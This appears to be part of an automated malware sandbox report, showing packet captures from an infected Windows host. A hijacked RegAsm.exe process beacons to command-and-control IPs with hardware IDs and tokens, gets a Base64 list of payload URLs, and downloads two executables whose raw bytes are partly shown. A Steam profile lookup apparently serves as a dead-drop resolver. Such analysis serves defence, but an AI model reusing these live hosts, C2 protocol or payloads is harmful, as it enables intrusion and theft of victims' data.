74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"ybncbhylepme------KJKJKFCBKKJDGDHIDBGI--
Oct 2, 2024 05:20:11.155606031 CEST	399	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 172 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 30 4e 79 34 30 4e 53 34 30 4e 43 34 78 4d 44 51 76 62 47 52 74 63 79 38 32 4e 6d 5a 69 5a 6d 4e 6a 5a 44 67 7a 4e 32 46 6a 58 33 5a 68 5a 47 64 6e 5a 48 4e 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 73 5a 47 31 7a 4c 7a 59 32 5a 6d 4a 6d 59 32 4d 35 4f 54 59 7a 59 32 46 66 62 47 52 6d 63 32 35 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 77 3d Data Ascii: aHR0cDovLzE0Ny40NS40NC4xMDQvbGRtcy82NmZiZmNjZDgzN2FjX3ZhZGdnZHNhLmV4ZXwwfDB8U3RhcnR8NHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9sZG1zLzY2ZmJmY2M5OTYzY2FfbGRmc25hLmV4ZXwwfDB8U3RhcnR8NHw=
Oct 2, 2024 05:20:13.038559914 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDA Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 2d 2d 0d 0a Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDHIIDAFIDGCFHJJDGDA--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49782	147.45.44.104	80	6724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:20:11.164932966 CEST	95	OUT	GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 05:20:11.785706043 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:11 GMT Content-Type: application/octet-stream Content-Length: 423840 Last-Modified: Tue, 01 Oct 2024 13:44:45 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfccd-677a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 20 06 00 00 06 00 00 00 00 00 00 ee 3e 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 a1 95 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 3e 06 00 53 00 00 00 00 40 06 00 42 02 00 00 00 00 00 00 00 00 00 00 78 51 06 00 28 26 00 00 00 60 06 00 0c 00 00 00 60 3d 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0f > @@ `>S@BxQ(&``= H.text `.rsrcB@"@@.reloc`&@B>H@+ B,Je8Xf3Zmv$:rXM6'4,OT!BC\|[{2yd?1d2mU5A93B[ltP3fAyz$[Yi[v\Bqg^pd{t}y[PvyH @'2^4h7!OwJxiv?G6^`q8NZ-TuW1zK_7-H<fz(7-@{%xB#"S4
Oct 2, 2024 05:20:11.785754919 CEST	224	IN	Data Raw: ea 2c 4e af 9d f1 ad fe a3 ce 11 d4 91 82 69 4f dc df 93 1b de fd c1 23 54 b7 a1 91 d5 00 dc 6a 4e bc 46 c3 41 19 10 12 ed ba 0a e8 68 cc 6a be 05 70 86 96 cb 22 26 d3 78 55 2d e0 cd d2 60 0b 8d 08 c2 34 c9 af 91 0e e8 a2 32 2a c0 e6 26 eb f8 48 Data Ascii: ,NiO#TjNFAhjp"&xU-`42&H_\Jn@ #}&rx!F$N/Xisx0+aNux#YD;X@c_a)\|i-?so-f/nkj/8{,j
Oct 2, 2024 05:20:11.785809040 CEST	1236	IN	Data Raw: d0 c0 e5 98 b4 79 12 aa cc 77 ac 16 ed dc 65 d3 ac b0 4a d0 70 54 29 8c 51 f4 1c 2c 80 37 33 e7 78 69 90 0b f2 3e 8e 62 d8 4b f7 1f 48 9a bc c3 24 71 da db 0d 42 15 b2 bf 1c ca 3d 1a b9 e5 48 92 da 05 3c 91 65 3f ee 8e 0a b5 de 00 37 bb e7 6e c0 Data Ascii: yweJpT)Q,73xi>bKH$qB=H<e?7n5Vy1<;S[qN;PzK%e@)aL\>rqVxHZ]&Pyc\|\|ZB4(zFT\|:B+xV'WJ-\|YT
Oct 2, 2024 05:20:11.785844088 CEST	1236	IN	Data Raw: 25 7d 18 5d 9d 80 9e 92 4c 9c 1d a2 01 b6 27 6b 94 da f9 e4 ff cc af 9e d6 d3 7c 42 46 84 33 6f d8 1b c2 89 14 8d 82 b7 b6 0b d7 d4 bb 9e fa a2 f2 ac d4 59 ad 19 3b 4f 68 4f f0 54 27 e3 94 c0 35 86 3f 0d e3 cd 03 cf f4 54 44 f2 58 eb 21 2f b1 cf Data Ascii: %}]L'k\|BF3oY;OhOT'5?TDX!/xM)(cI>3.H^SrWQ5BnAUsZr8}q6W')LO%Bn1=f8xDIL9NrQg
Oct 2, 2024 05:20:11.785873890 CEST	248	IN	Data Raw: 66 17 32 bd 3a 2d 51 2b 5a f4 73 1d 3a 4a 0a ab d4 51 b8 7d b2 20 d9 b7 42 e9 ae c9 34 fa 6c 09 f6 7d f8 fa 7a 80 07 9a dd e3 4a d8 5f fe 18 ee 08 3c 69 56 30 37 a2 bc 96 2c 8e 62 3d d8 2a 21 1f c1 26 eb 6a f4 b7 f3 71 2b da 9e 54 0e 19 32 fd fb Data Ascii: f2:-Q+Zs:JQ} B4l}zJ_<iV07,b=!&jq+T2Y'x_$/f0e9]+o=NF2goP2;}Gu-Pj[dA5'EC0S\9#ruwuFjeU)Q0fV{u@2TKyskg
Oct 2, 2024 05:20:11.785948992 CEST	1236	IN	Data Raw: 2b b2 a4 1a 47 99 13 f1 d9 ca 72 4d 76 b6 37 a4 a4 b1 e1 59 12 8e 02 38 c0 6a b6 4a 24 28 86 d0 d4 c5 c8 a5 42 c5 5b 53 59 b0 dc 05 d6 23 80 bf 1c 0d 6b 80 41 e4 63 46 cf 20 e6 b2 46 fe 1e 51 53 7f be 3d 1d 29 13 51 e5 76 28 57 0f e0 7d 9d ee 75 Data Ascii: +GrMv7Y8jJ$(B[SY#kAcF FQS=)Qv(W}uEJG^xC)Y>sN"lCgL:nEu2E,O=PN3e9c"@_Fnqt+})CBwY)x5-ziYS79*\&7sW
Oct 2, 2024 05:20:11.785981894 CEST	1236	IN	Data Raw: 6e a5 75 f3 fc 63 fb 37 a4 a6 80 f1 79 62 2d 97 28 d4 6d d3 73 1d e6 ad 7e 37 f9 8e 84 1a 5c cd d4 39 a6 cb 50 ed aa 1b de b5 c8 50 b0 90 7f 8b c5 fc cf e9 7c c9 de ff 65 e5 35 df 84 24 27 04 23 ee 19 4f 58 78 c0 3a 25 78 81 5d 21 fb 77 46 f2 18 Data Ascii: nuc7yb-(ms~7\9PP\|e5$'#OXx:%x]!wF6v[RhQ$chy}2~zU-Ai_/$PQACY.eetB:F3r7y6gyPmY9Y1XidF9aeUhBoESGv:qfoWsV>nf
Oct 2, 2024 05:20:11.786015987 CEST	1236	IN	Data Raw: e3 ae ab 5b 68 b5 07 ee cc 35 6f fc 89 27 73 49 a0 05 c6 bf 7b 56 db af 75 8c 26 e6 0c f1 3c fa 77 75 18 21 19 79 56 fb df 3f b6 fb 23 0c dd 87 ee 40 13 d6 26 86 14 3a b6 d6 2b 5e 29 bb 5d b4 7f 9b ea 6a b6 a4 27 52 97 0e 1f 13 5c c1 83 ff 64 24 Data Ascii: [h5o'sI{Vu&<wu!yV?#@&:+^)]j'R\d$BF-4;8Gkjem>-2&gCRp5\-e{Yk:]!/3{P6`N}p-d\|r,niSryNf+]2>4^wU{\q{W-Q#Bp
Oct 2, 2024 05:20:11.786051035 CEST	1236	IN	Data Raw: ec 7a 83 a0 30 ec 64 46 ef cb bb 37 6c f4 bb 0a b9 b3 d4 6a 3c 1b 08 cd 0d c6 49 7f a0 66 38 50 1d ad 5a 91 e4 32 e6 b7 9f 1f 39 0a 49 83 e6 0c ec 04 c4 d0 c8 f9 9b 91 e5 1e 6c b3 15 bc 91 b8 b9 76 a8 7d f6 fb 7d 46 ce 94 14 53 45 a0 87 97 67 4c Data Ascii: z0dF7lj<If8PZ29Ilv}}FSEgLVMKv&a.,wKXvwxRO$,!xp[+AEKIqTY"95]j<}=}7%Uh8{+TlBkCo^ 4+4
Oct 2, 2024 05:20:11.786087990 CEST	896	IN	Data Raw: cb 4b 1b 42 ce 7f 07 d7 96 cf ee 9a 2e 20 5a 71 26 2c 39 6e 9d 0c af 07 d9 c3 12 57 19 75 84 af 5d dc 85 8d 1a ae 81 f0 e0 26 c4 5d 3e e9 eb 87 f2 db 54 82 44 2e 97 fa 4d 2d 04 56 b6 5b 18 08 bf 24 63 4e a0 46 79 e3 87 7a 5f 13 90 0c 0d 3b c3 e1 Data Ascii: KB. Zq&,9nWu]&]>TD.M-V[$cNFyz_;uiD2xP]:P{tK=7p\|-4j.Qgyo?{1=R-T%^OMFj;]P-PEVpj&!or=ku`i4
Oct 2, 2024 05:20:11.790961981 CEST	1236	IN	Data Raw: d3 3d 57 f4 82 4c 08 31 b3 c1 6b 35 e9 7d ef b2 0e f7 4a 83 8b e7 5d 3c 9d 07 ce f5 11 21 ee 0d 4b 79 76 53 f7 d5 4b d7 fa 78 df b2 64 1b a1 84 61 3e f7 4e 50 5f de 08 bb 3a 45 fb 0a cc 0c 03 83 22 a7 48 0e 97 63 11 cc c0 37 d7 82 22 a7 e8 92 fa Data Ascii: =WL1k5}J]<!KyvSKxda>NP_:E"Hc7"2)m,G(j+[tr30o\i:XF-F`}^sA4d02zUXXo#-Al@k'D8OK%L4H}AkKI5SO98`cV
Oct 2, 2024 05:20:12.604168892 CEST	93	OUT	GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 05:20:12.786791086 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:12 GMT Content-Type: application/octet-stream Content-Length: 391072 Last-Modified: Tue, 01 Oct 2024 13:44:41 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfcc9-5f7a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 20 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 a0 05 00 00 06 00 00 00 00 00 00 ee be 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 a2 22 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 05 00 53 00 00 00 00 c0 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 d1 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 60 bd 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL f @ "`SBx(&` H.text `.rsrcB@@.reloc@BH@ [(<sTw/x~ITT5Q>zbS/2Ew>/dt_so>UVSa5JKYw.#s"-d-7avn\].Lt:2o1!q9_OK^")0.3$5,}3cxz2I}Ie$ .V OGUa$+%\B-U3nc,lffo` bO

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	104.102.49.254	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:15 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:16 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 03:19:16 GMT Content-Length: 34879 Connection: close Set-Cookie: sessionid=ecdf304772d81948e5749f8e; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 03:19:16 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 03:19:16 UTC	16384	IN	Data Raw: 52 54 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 Data Ascii: RT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4
2024-10-02 03:19:16 UTC	3768	IN	Data Raw: 75 6d 6d 61 72 79 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 Data Ascii: ummary"></div><div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><scr
2024-10-02 03:19:16 UTC	213	IN	Data Raw: 63 6b 3d 22 52 65 73 70 6f 6e 73 69 76 65 5f 52 65 71 75 65 73 74 4d 6f 62 69 6c 65 56 69 65 77 28 29 22 3e 0d 0a 09 09 09 09 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ck="Responsive_RequestMobileView()"><span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:17 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:18 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:18 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 34 31 42 38 34 44 35 44 45 44 36 33 33 30 35 32 39 38 33 36 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="hwid"B41B84D5DED63305298366-a33c7340-61ca------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------HIIEGHJJDGHCAKEBGIJK--
2024-10-02 03:19:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:19 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|c59aa2fc2522934890212afe4b8bbc64\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:19 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:19 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------KKJEBAAECBGDHIECAKJKCont
2024-10-02 03:19:20 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
